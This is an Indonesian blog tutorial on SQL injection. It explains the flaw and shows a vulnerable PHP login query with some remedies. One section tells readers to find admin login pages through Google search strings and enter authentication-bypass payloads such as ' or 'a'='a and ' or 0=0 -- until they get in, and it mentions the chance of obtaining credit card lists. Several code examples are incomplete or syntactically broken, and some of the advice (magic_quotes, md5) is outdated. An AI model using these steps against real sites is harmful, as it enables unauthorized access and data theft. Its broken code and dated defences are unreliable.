10 November 2012

Tutorial SQL Injection

postingan kali ini saya mengangkat tema yang mungkin sudah / hampir semua orang IT yang bergelut dalam bidang jaringan sudah tidak asing lagi, bahkan sudah banyak yang master, source atau sumber belajar nya sendiri bertabaran di situs - situs di dunia maya ini, lalu mengapa saya mengulas / mengulang nya kembali, tidak lain dan tidak bukan adalah sebagai referensi saja dalam memperkaya informasi tentang apa itu SQL Injection,Let's the begin...


TUTORIAL SQL INJECTION
Pengertian SQL Injection :
>> SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client
dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
>> SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya
menggunakan database untuk penyimpanan data.

Sebab terjadinya SQL Injection
>> Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan
juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi
dengan perintah SQL.
>> Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter
maupun suatu form.

Bug SQL Injection berbahaya ?
>> Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus
memiliki account.
>> Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus,
maupun menambahkan data–data yang berada didalam database.
>> Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri,
sehingga tidak bisa memberi layanan kepada web server.

Apa saja yang diperlukan untuk melakukan SQL Injection ?
>> Mozilla Firefox / Browser
>> PC yang terhubung internet
>> Program atau software seperti softice




Contoh sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and password =
‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select
* from login where username
= ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan
selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL

Contoh sintaks SQL Injection
1) Sintaks SQL string ‘-- setelah nama username
2) Query database awal :

Contoh sintaks SQL Injection
SQL Injection melalui URL, contohnya :
Penanganan SQL Injection
1) Merubah script php


Contoh script php semula :
$query = "select id,name,email,password,type,block from user " .
"where email = '$Email' and password = '$Password'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
www.didiksetiyadi.com
echo "<script>alert('Your account has been blocked');
document.location.href='index.php';</script>\n";
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));
Script diatas memungkinkan seseorang dapat login dengan menyisipkan
perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’
kedalam form email dan password maka akan terbentuk query sebagai berikut :
Maka dilakukan perubahan script menjadi :
$query = "select id,name,email,password,type,block from user".
"where email = '$Email'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "<script>alert('Your account has been blocked');
document.location.href='index.php';</script>\n";
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));


2) Menggunakan MySQL_escape_string

Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion
menjadi SQL injec\’tion
Contoh :
$kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;


3) Pemfilteran karakter ‘ dengan memodifikasi php.ini

Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini
sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis
oleh php
Contoh :

Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

>>Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
"/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp"
{anda bisa menambahi sendiri sesuai keinginan anda}
www.didiksetiyadi.com
3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan
menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda
bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang
banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a'='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

>>Cara pencegahan SQL INJECTION
1) Batasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip
tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang
berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored
Procedures jika memungkinkan.
5) Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL
Server Security tab.


(bersambung ke artikel selanjutnya : Memanipulasi Microsotf SQL Server menggunakan SQL Injection)

Tidak ada komentar:

Posting Komentar